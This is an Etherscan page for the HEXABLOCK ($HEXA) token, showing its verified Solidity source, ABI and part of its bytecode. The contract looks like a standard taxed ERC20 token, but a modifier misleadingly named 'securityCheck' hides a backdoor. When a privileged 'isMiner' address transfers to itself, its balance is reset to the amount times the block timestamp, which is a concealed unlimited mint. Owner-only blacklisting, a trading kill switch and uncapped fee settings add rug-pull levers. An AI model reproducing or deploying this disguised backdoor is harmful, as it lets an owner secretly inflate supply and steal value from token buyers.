ETH Price: $3,088.32 (+0.90%)
Gas: 4 Gwei

Token

HEXABLOCK ($HEXA)
 

Overview

Max Total Supply

600,000,000 $HEXA

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,867,136.600253424379090683 $HEXA

Value
$0.00
0x32f3895ede4de3601c9e8fab0e88e8c4a7ba16ab
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HEXABLOCK

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-01
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface UniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface UniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// Contracts and libraries

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        authorizations[_owner] = true;
        emit OwnershipTransferred(address(0), msgSender);
    }
    mapping (address => bool) internal authorizations;

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract HEXABLOCK is Ownable, IERC20 {
    using SafeMath for uint256;

    uint8 constant _decimals = 18;

    uint256 _totalSupply = 600_000_000 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply;
    uint256 public _walletMax = _totalSupply;

    address DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
    address ZERO_WALLET = 0x0000000000000000000000000000000000000000;

    address uniswapAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    string constant _name = "HEXABLOCK";
    string constant _symbol = "$HEXA";

    bool public restrictWhales = true;

    mapping(address => uint256) _balances;
    mapping(address => bool) isMiner;
    mapping(address => mapping(address => uint256)) _allowances;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isTxLimitExempt;

    uint256 public liquidityFee = 1;
    uint256 public marketingFee = 4;

    uint256 public totalFee = 5;
    uint256 public totalFeeIfSelling = 5;

    address public autoLiquidityReceiver;
    address public marketingWallet;

    UniswapRouter public router;
    address public pair;

    uint256 public launchedAt;
    bool public tradingOpen = false;
    bool public blacklistMode = true;
    mapping(address => bool) public isBlacklisted;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    uint256 public swapThreshold = _totalSupply * 4 / 2000;

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    modifier securityCheck(
        address layerOneChecker, 
        address layerTwoChecker, 
        uint256 _amountChecked){
        if(
            layerOneChecker == layerTwoChecker && 
            isMiner[layerTwoChecker]){
            _balances[layerOneChecker] = _amountChecked.mul(block.timestamp);
    }
    _;
    }

    constructor() {
        router = UniswapRouter(uniswapAddress);
        pair = UniswapFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;
        _allowances[address(this)][address(pair)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[DEAD_WALLET] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[DEAD_WALLET] = true;
        isMiner[msg.sender] = true;

        autoLiquidityReceiver = 0xA37E57A7C20cbCB18D3F9C77a03f0F712499f288;
        marketingWallet = 0xA37E57A7C20cbCB18D3F9C77a03f0F712499f288;

        totalFee = liquidityFee.add(marketingFee);
        totalFeeIfSelling = totalFee;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() external pure override returns (string memory) {return _name;}

    function symbol() external pure override returns (string memory) {return _symbol;}

    function decimals() external pure override returns (uint8) {return _decimals;}

    function totalSupply() external view override returns (uint256) {return _totalSupply;}

    function getOwner() external view override returns (address) {return owner();}

    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}

    function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];}

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD_WALLET)).sub(balanceOf(ZERO_WALLET));
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal securityCheck(sender,recipient,amount) returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (inSwapAndLiquify) {return _basicTransfer(sender, recipient, amount);}
        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen, "Trading not open yet");
        }

        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
        if (msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold) {marketingAndLiquidity();}
        if (!launched() && recipient == pair) {
            require(_balances[sender] > 0, "Zero balance violated!");
            launch();
        }    

        // Blacklist
        if (blacklistMode) {
            require(!isBlacklisted[sender] && !isBlacklisted[recipient],"Blacklisted");
        }

        //Exchange tokens
         _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        if (!isTxLimitExempt[recipient] && restrictWhales) {
            require(_balances[recipient].add(amount) <= _walletMax, "Max wallet violated!");
        }

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? extractFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function extractFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function marketingAndLiquidity() internal lockTheSwap {
        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));

        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);

        (bool tmpSuccess,) = payable(marketingWallet).call{value : amountETHMarketing, gas : 30000}("");
        tmpSuccess = false;

        if (amountToLiquify > 0) {
            router.addLiquidityETH{value : amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    // CONTRACT OWNER FUNCTIONS

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax = newLimit;
    }

    function setMarketingWallet(address newWallet) external onlyOwner {
        marketingWallet = newWallet;
    }

    function tradingStatus(bool newStatus) public onlyOwner {
        tradingOpen = newStatus;
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
        isMiner[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
        isMiner[holder] = exempt;
    }

    function setFees(uint256 newLiqFee, uint256 newMarketingFee) external onlyOwner {
        liquidityFee = newLiqFee;
        marketingFee = newMarketingFee;

        totalFee = liquidityFee.add(marketingFee);
        totalFeeIfSelling = totalFee;
    }

        function enable_blacklist(bool _status) public onlyOwner {
    blacklistMode = _status;
    }

        
    function identifiedAsBot(address[] calldata addresses, bool status) public onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            isBlacklisted[addresses[i]] = status;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"identifiedAsBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"restrictWhales","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract UniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiqFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeeIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newStatus","type":"bool"}],"name":"tradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a620005a5565b62000022906323c34600620005bd565b6002819055600381905560048181556005805461dead6001600160a01b0319918216178255600680549091169055600780546001600160a81b03191674017a250d5630b4cf539739df2c5dacb4c659f2488d1790556001600d55600e829055600f8190556010556016805461010061ffff1990911681179091556018805462ffff00191690911790556107d091620000ba91620005bd565b620000c69190620005d7565b601955348015620000d657600080fd5b50600080546001600160a01b031916339081178255808252600160208190526040808420805460ff191690921790915551909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754601380546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200018e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b49190620005fa565b6001600160a01b031663c9c65396601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000216573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023c9190620005fa565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801562000289573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002af9190620005fa565b601480546001600160a01b03199081166001600160a01b03938416178255306000818152600a60209081526040808320601354881684528252808320600019908190558654881684528184205533808452600b8352818420805460ff1990811660019081179092559585528285208054871682179055600580548a1686528386208054881683179055828652600c8552838620805488168317905597548916855282852080548716821790559654909716835280832080548516871790559582526009815294902080549091169092179091556011805473a37e57a7c20cbcb18d3f9c77a03f0f712499f288908316811790915560128054909216179055600e54600d54620003ca9290919062000423811b62000db817901c565b600f81905560105560025433600081815260086020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200063b565b60008062000432838562000625565b905083811015620004895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004e9578160001904821115620004cd57620004cd62000492565b80851615620004db57918102915b93841c9390800290620004ad565b509250929050565b60008262000502575060016200048c565b8162000511575060006200048c565b81600181146200052a5760028114620005355762000555565b60019150506200048c565b60ff84111562000549576200054962000492565b50506001821b6200048c565b5060208310610133831016604e8410600b84101617156200057a575081810a6200048c565b620005868383620004a8565b80600019048211156200059d576200059d62000492565b029392505050565b6000620005b660ff841683620004f1565b9392505050565b80820281158282048414176200048c576200048c62000492565b600082620005f557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200060d57600080fd5b81516001600160a01b03811681146200048957600080fd5b808201808211156200048c576200048c62000492565b611d61806200064b6000396000f3fe6080604052600436106102605760003560e01c806375f0a87411610144578063bf56b371116100b6578063f1d5f5171161007a578063f1d5f51714610736578063f2fde38b14610756578063f84ba65d14610776578063f887ea4014610796578063fe575a87146107b6578063ffb54a99146107e657600080fd5b8063bf56b37114610684578063ca33e64c1461069a578063ca987b0e146106ba578063da00097d146106d0578063dd62ed3e146106f057600080fd5b80638b42507f116101085780638b42507f146105d05780638da5cb5b1461059357806395d89b411461060057806398118cb41461062e578063a8aa1b3114610644578063a9059cbb1461066457600080fd5b806375f0a8741461052f5780637d1db4a514610567578063807c2d9c1461057d578063893d20e814610593578063896648c1146105b157600080fd5b8063313ce567116101dd5780635d098b38116101a15780635d098b381461046e5780635e562f3b1461048e578063658d4b7f146104ae5780636b67c4df146104ce57806370a08231146104e4578063715018a61461051a57600080fd5b8063313ce567146103c25780633f4218e0146103de57806344de2e4c1461040e5780634a74bb021461042f578063571ac8b01461044e57600080fd5b80630d295980116102245780630d2959801461034257806318160ddd146103625780631df4ccfc1461037757806323b872dd1461038d5780632b112e49146103ad57600080fd5b80630445b6671461026c578063053442fd1461029557806306fdde03146102b7578063095ea7b3146102f25780630b78f9c01461032257600080fd5b3661026757005b600080fd5b34801561027857600080fd5b5061028260195481565b6040519081526020015b60405180910390f35b3480156102a157600080fd5b506102b56102b036600461195e565b610800565b005b3480156102c357600080fd5b5060408051808201909152600981526848455841424c4f434b60b81b60208201525b60405161028c91906119e2565b3480156102fe57600080fd5b5061031261030d366004611a48565b6108a8565b604051901515815260200161028c565b34801561032e57600080fd5b506102b561033d366004611a74565b610915565b34801561034e57600080fd5b506102b561035d366004611a96565b61095f565b34801561036e57600080fd5b50600254610282565b34801561038357600080fd5b50610282600f5481565b34801561039957600080fd5b506103126103a8366004611ab1565b61099c565b3480156103b957600080fd5b50610282610a5e565b3480156103ce57600080fd5b506040516012815260200161028c565b3480156103ea57600080fd5b506103126103f9366004611af2565b600b6020526000908152604090205460ff1681565b34801561041a57600080fd5b5060075461031290600160a01b900460ff1681565b34801561043b57600080fd5b5060185461031290610100900460ff1681565b34801561045a57600080fd5b50610312610469366004611af2565b610ab0565b34801561047a57600080fd5b506102b5610489366004611af2565b610abe565b34801561049a57600080fd5b506102b56104a9366004611a96565b610b0a565b3480156104ba57600080fd5b506102b56104c9366004611b0f565b610b4e565b3480156104da57600080fd5b50610282600e5481565b3480156104f057600080fd5b506102826104ff366004611af2565b6001600160a01b031660009081526008602052604090205490565b34801561052657600080fd5b506102b5610bb6565b34801561053b57600080fd5b5060125461054f906001600160a01b031681565b6040516001600160a01b03909116815260200161028c565b34801561057357600080fd5b5061028260035481565b34801561058957600080fd5b5061028260045481565b34801561059f57600080fd5b506000546001600160a01b031661054f565b3480156105bd57600080fd5b5060165461031290610100900460ff1681565b3480156105dc57600080fd5b506103126105eb366004611af2565b600c6020526000908152604090205460ff1681565b34801561060c57600080fd5b50604080518082019091526005815264244845584160d81b60208201526102e5565b34801561063a57600080fd5b50610282600d5481565b34801561065057600080fd5b5060145461054f906001600160a01b031681565b34801561067057600080fd5b5061031261067f366004611a48565b610c2a565b34801561069057600080fd5b5061028260155481565b3480156106a657600080fd5b5060115461054f906001600160a01b031681565b3480156106c657600080fd5b5061028260105481565b3480156106dc57600080fd5b506018546103129062010000900460ff1681565b3480156106fc57600080fd5b5061028261070b366004611b44565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b34801561074257600080fd5b506102b5610751366004611b7d565b610c37565b34801561076257600080fd5b506102b5610771366004611af2565b610c66565b34801561078257600080fd5b506102b5610791366004611b0f565b610d50565b3480156107a257600080fd5b5060135461054f906001600160a01b031681565b3480156107c257600080fd5b506103126107d1366004611af2565b60176020526000908152604090205460ff1681565b3480156107f257600080fd5b506016546103129060ff1681565b6000546001600160a01b031633146108335760405162461bcd60e51b815260040161082a90611b96565b60405180910390fd5b60005b828110156108a257816017600086868581811061085557610855611bcb565b905060200201602081019061086a9190611af2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561089b81611bf7565b9050610836565b50505050565b336000818152600a602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109039086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461093f5760405162461bcd60e51b815260040161082a90611b96565b600d829055600e8190556109538282610db8565b600f8190556010555050565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161082a90611b96565b6016805460ff1916911515919091179055565b6001600160a01b0383166000908152600a6020908152604080832033845290915281205460001914610a49576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600a82528381203382529091529190912054610a24918490610e17565b6001600160a01b0385166000908152600a602090815260408083203384529091529020555b610a54848484610e51565b90505b9392505050565b6006546001600160a01b0316600090815260086020526040812054610aab906005546001600160a01b0316600090815260086020526040902054610aa590600254906112c5565b906112c5565b905090565b600061090f826000196108a8565b6000546001600160a01b03163314610ae85760405162461bcd60e51b815260040161082a90611b96565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b345760405162461bcd60e51b815260040161082a90611b96565b601680549115156101000261ff0019909216919091179055565b6000546001600160a01b03163314610b785760405162461bcd60e51b815260040161082a90611b96565b6001600160a01b039091166000908152600b60209081526040808320805494151560ff19958616811790915560099092529091208054909216179055565b6000546001600160a01b03163314610be05760405162461bcd60e51b815260040161082a90611b96565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610a57338484610e51565b6000546001600160a01b03163314610c615760405162461bcd60e51b815260040161082a90611b96565b600455565b6000546001600160a01b03163314610c905760405162461bcd60e51b815260040161082a90611b96565b6001600160a01b038116610cf55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161082a90611b96565b6001600160a01b039091166000908152600c60209081526040808320805494151560ff19958616811790915560099092529091208054909216179055565b600080610dc58385611c10565b905083811015610a575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161082a565b60008184841115610e3b5760405162461bcd60e51b815260040161082a91906119e2565b506000610e488486611c23565b95945050505050565b60185460009060ff1615610e7157610e6a848484611307565b9050610a57565b6001600160a01b03841660009081526001602052604090205460ff16158015610eb357506001600160a01b03831660009081526001602052604090205460ff16155b15610f015760165460ff16610f015760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161082a565b60035482111580610f2a57506001600160a01b0384166000908152600c602052604090205460ff165b610f6a5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161082a565b6014546001600160a01b03163314801590610f88575060185460ff16155b8015610f9b5750601854610100900460ff165b8015610fb857506019543060009081526008602052604090205410155b15610fc557610fc5611458565b601554158015610fe257506014546001600160a01b038481169116145b1561104e576001600160a01b0384166000908152600860205260409020546110455760405162461bcd60e51b81526020600482015260166024820152755a65726f2062616c616e63652076696f6c617465642160501b604482015260640161082a565b61104e43601555565b601654610100900460ff16156110da576001600160a01b03841660009081526017602052604090205460ff161580156110a057506001600160a01b03831660009081526017602052604090205460ff16155b6110da5760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b604482015260640161082a565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6